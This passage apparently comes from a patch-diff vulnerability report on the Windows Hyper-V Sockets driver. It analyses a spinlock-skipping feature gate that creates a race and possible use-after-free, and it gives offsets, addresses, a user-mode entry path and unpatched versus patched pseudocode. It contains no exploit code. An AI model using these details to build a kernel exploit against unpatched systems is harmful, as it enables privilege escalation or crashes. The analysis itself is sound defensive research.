&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;288&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;274&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes a WIL feature gate (&lt;code&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/code&gt;) that conditionally selected between a spinlock-synchronized code path and an unsynchronized one across the Hyper-V Sockets &lt;code&gt;VmbusTl&lt;/code&gt; loopback routines. In the unpatched build the gate's else-branch reads the shared per-endpoint delivery-queue head at &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; without acquiring the endpoint's &lt;code&gt;KSPIN_LOCK&lt;/code&gt; at &lt;code&gt;[endpoint+0x48]&lt;/code&gt; and without taking a reference on the popped entry, while a concurrent &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; can clear that head and drop the entry's reference to zero. This is a genuine race condition that can lead to a use-after-free / reference-count imbalance on the loopback delivery-queue object. The patched build deletes the gate in all affected functions and unconditionally calls the synchronized helper &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt;, which acquires the spinlock and takes a reference before touching the head. The static image does not reveal whether the feature was enabled by default, so the real-world reachability of the unsynchronized branch in the unpatched build cannot be asserted from the binaries alone; the patch makes the synchronized path unconditional regardless.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Race / potential UAF in &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (and sibling send/accept paths)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Race Condition leading to Use-After-Free (CWE-362, CWE-416)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected functions:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;sub_1C0007CF0&lt;/code&gt;) — primary&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;sub_1C0007388&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; (&lt;code&gt;sub_1C001D700&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VmbusTlNotifyListenerAccept&lt;/code&gt; (&lt;code&gt;sub_1C0006C9C&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; Each of these &lt;code&gt;VmbusTlLoopback*&lt;/code&gt; routines contains two implementations selected at runtime by &lt;code&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1C000293C&lt;/code&gt;), a standard WIL feature-staging gate that returns the cached state of &lt;code&gt;Feature_1274333499__private_featureState&lt;/code&gt; (falling back to &lt;code&gt;Feature_1274333499__private_IsEnabledFallback&lt;/code&gt; when the state is not yet cached). When the gate returns non-zero, the code calls &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; (&lt;code&gt;sub_1C0007ECC&lt;/code&gt;), which acquires &lt;code&gt;KeAcquireSpinLockRaiseToDpc(endpoint+0x48)&lt;/code&gt; first and reads the delivery-queue head at &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; under the lock while incrementing the entry's reference count — the safe variant. When the gate returns zero, the code reads &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; directly with no spinlock held and no reference taken.&lt;/p&gt;
&lt;p&gt;A concurrent thread executing &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (which, on the safe branch, acquires the same lock) can clear &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt;, drop the entry's reference count, and — when it reaches zero — free it with &lt;code&gt;ExFreePoolWithTag(..., 'Vnpi')&lt;/code&gt; (tag &lt;code&gt;0x69706E56&lt;/code&gt;). In the unsynchronized branch the notify/send thread then dereferences the entry's back-pointer at &lt;code&gt;[rdi+0x68]&lt;/code&gt; (&lt;code&gt;mov rdi, [rdi+0x68]&lt;/code&gt; @ &lt;code&gt;0x1C0007E4F&lt;/code&gt;) and writes to &lt;code&gt;[rdi+0x210]&lt;/code&gt; (&lt;code&gt;or dword [rdi+0x210], 2&lt;/code&gt; @ &lt;code&gt;0x1C0007E63&lt;/code&gt;), and later decrements a reference it never took — a race that can produce a use-after-free or reference-count underflow on the delivery-queue object.&lt;/p&gt;
&lt;p&gt;The patch removes every gate conditional and unconditionally calls the synchronized helper &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; (relocated to &lt;code&gt;sub_1C0007CD0&lt;/code&gt; in the patched build), which always holds the spinlock and takes a reference while operating on the head.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; data flow:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;User-mode HV socket API (&lt;code&gt;send&lt;/code&gt;/&lt;code&gt;recv&lt;/code&gt;/&lt;code&gt;closesocket&lt;/code&gt; on an &lt;code&gt;AF_HYPERV&lt;/code&gt; socket).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hvsocket.sys&lt;/code&gt; Tl dispatch (imported &lt;code&gt;TlDefaultRequestMessage&lt;/code&gt;/&lt;code&gt;TlDefaultRequestResume&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VmbusTl&lt;/code&gt; loopback callback path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;sub_1C0007CF0&lt;/code&gt;) — unsynchronized branch reads &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Dereference of the delivery-queue entry at &lt;code&gt;[rdi+0x68]&lt;/code&gt; racing a concurrent free.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2 — Concurrent unsynchronized head clear in &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium (writer side of Finding 1's race; same root cause)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Race Condition (CWE-362)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;sub_1C00079D0&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; gates the spinlock the same way. On the gate-off branch it reads and clears the shared head &lt;code&gt;[endpoint+0x2B8]&lt;/code&gt; (&lt;code&gt;mov rsi, [rbx+0x2B8]&lt;/code&gt; / &lt;code&gt;and qword [rbx+0x2B8], 0&lt;/code&gt; @ &lt;code&gt;0x1C0007A26&lt;/code&gt;) without holding the &lt;code&gt;KSPIN_LOCK&lt;/code&gt; at &lt;code&gt;[endpoint+0x48]&lt;/code&gt;, then drops the entry's reference count and can free it. This is the "freeing" side of the race in Finding 1: the disconnect clears/frees the head while a send/notify thread on the unsynchronized branch is reading it.&lt;/p&gt;
&lt;p&gt;The function calls the gate three times (&lt;code&gt;0x1C0007A0A&lt;/code&gt;, &lt;code&gt;0x1C0007A3E&lt;/code&gt;, &lt;code&gt;0x1C0007A50&lt;/code&gt;) to decide acquire, back-pointer clear, and release. These are separate inlined evaluations of the same feature gate rather than a cached boolean; the WIL feature state is effectively stable for the duration of the call, so this is not a demonstrable time-of-check/time-of-use lock imbalance. The security-relevant behavior is the unsynchronized head access, which the patch fixes by acquiring and releasing the spinlock unconditionally.&lt;/p&gt;
&lt;h3&gt;Finding 3 — Feature-gate removal in &lt;code&gt;VmbusTlProcessNewConnectionForListener&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (no demonstrable security impact)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Synchronization consolidation (CWE-362 context)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;VmbusTlProcessNewConnectionForListener&lt;/code&gt; (&lt;code&gt;sub_1C001BEF4&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; This function evaluates the same feature gate twice within the connection-acceptance path (&lt;code&gt;0x1C001C0F8&lt;/code&gt; and &lt;code&gt;0x1C001C120&lt;/code&gt;) and only reads the acceptance field at &lt;code&gt;[rcx_9+0x1A9]&lt;/code&gt; on the gate-on branch. The patch removes both gate checks and reads the field unconditionally. This is part of the same gate-removal consolidation as Findings 1–2. There is no evidence in the binaries of an exploitable incorrect accept/reject decision; the change is a synchronization-behavior unification, recorded here for completeness.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED sub_1C0007CF0 =====&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// WIL gate&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// SYNCHRONIZED BRANCH (gate on)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// locks +0x48, refs entry&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlTransitionDisconnectState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlFinishDisconnectStateTransition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// drop reference under lock; free via ExFreePoolWithTag(entry,&amp;#39;Vnpi&amp;#39;) if it hits 0&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// UNSYNCHRONIZED BRANCH (gate off)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2B8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// read WITHOUT the +0x48 spinlock, no ref taken&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_DEVICE_REQUEST&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// races a concurrent free&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlTransitionDisconnectState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlFinishDisconnectStateTransition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED sub_1C0007B70 =====&lt;/span&gt;
&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// ALWAYS synchronized + ref&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_DEVICE_REQUEST&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// ... same cleanup ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED sub_1C00079D0 =====&lt;/span&gt;
&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// check #1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NewIrql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// only if gate on&lt;/span&gt;

&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2B8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;&lt;span class="c1"&gt;// unsynchronized if gate off&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2B8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                       &lt;/span&gt;&lt;span class="c1"&gt;// unsynchronized clear&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// check #2&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1274333499__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// check #3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NewIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// only if gate on&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED sub_1C0007870 =====&lt;/span&gt;
&lt;span class="n"&gt;NewIrql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// UNCONDITIONAL&lt;/span&gt;
